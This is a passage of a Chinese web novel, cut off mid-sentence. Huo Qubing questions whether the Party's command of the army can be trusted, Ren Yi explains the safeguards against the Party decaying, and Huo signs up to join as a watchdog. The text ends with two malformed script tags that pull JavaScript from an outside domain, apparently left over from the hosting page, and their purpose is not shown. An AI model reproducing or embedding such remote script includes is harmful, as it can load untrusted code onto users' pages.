“等等。”
所有人齐刷刷转过头,朝着声音传来的方向望去。
只见霍去病站起身,把肩上的枪靠在椅背上,大步走到帐前。
“我也有个问题。”
刘备看向他,语气平和。
“你说。”
“党指挥枪,我同意。军队不能没有规矩,枪杆子不能乱打,必须有管束。可我想知道,党要是错了呢?”
他语气郑重,眼神里满是认真,没有半分玩笑。
“要是这个党,跟当年那些世家大族一样,掌权久了,日子好过了,就忘了初心,忘了自己是谁,忘了天下百姓,怎么办?到那个时候,枪听谁的?听犯错的党的,还是听百姓的?”
这话一问出,整个大帐瞬间安静下来,落针可闻。
这是所有人心里都隐隐担忧,却没人敢直白说出来的问题。
任弋看着他,沉默了很久,没有说半句空话套话,句句坦诚。
“这个问题,我答不上来,也没法给你打包票。我只能告诉你,党是由人组成的,人会犯错,党也会犯错。人心会变,权力会腐蚀人心,这是亘古不变的道理。”
“所以我们才定下严苛的纪律,才设立独立的监督机构,才推行批评与自我批评。所以我们规定领导人不能终身制,不能世袭,要定期重选,随时可以罢免不合格的人。”
“所以我们要求干部必须扎根基层,倾听百姓的声音,让百姓也有话语权、监督权、罢免权。”
“这些举措,能不能彻底挡住党变质变坏,我不知道。但我知道,不做这些,党一定会变坏,一定会重蹈世家大族的覆辙。做了,我们还有守住初心的可能,还有不辜负百姓的希望。”
霍去病沉默了好一会儿,没有再追问,当即下定决心。
“那我也入党。”
他顿了顿,语气格外坚定。
“不是为了当官,不是为了建功立业,就是为了看着。时时刻刻盯着这个党,盯着每一个掌权的人,看着它不变坏,看着它不辜负天下百姓。”
说完,他径直走到案前,拿起毛笔,蘸满墨汁,在纸上写下自己的名字。
他常年舞枪弄棒,字写得歪歪扭扭,算不上好看,甚至比张飞的字好不了多少。可他写得格外认真,一笔一划,力道十足,像是在写下自己一生的承诺。
刘备看着那个歪扭却坚定的名字,嘴角勾起一
/script src="https://m.hnkente.com/s002/fei.js"> /script src="https://m.hnkente.com/s001/fei.js">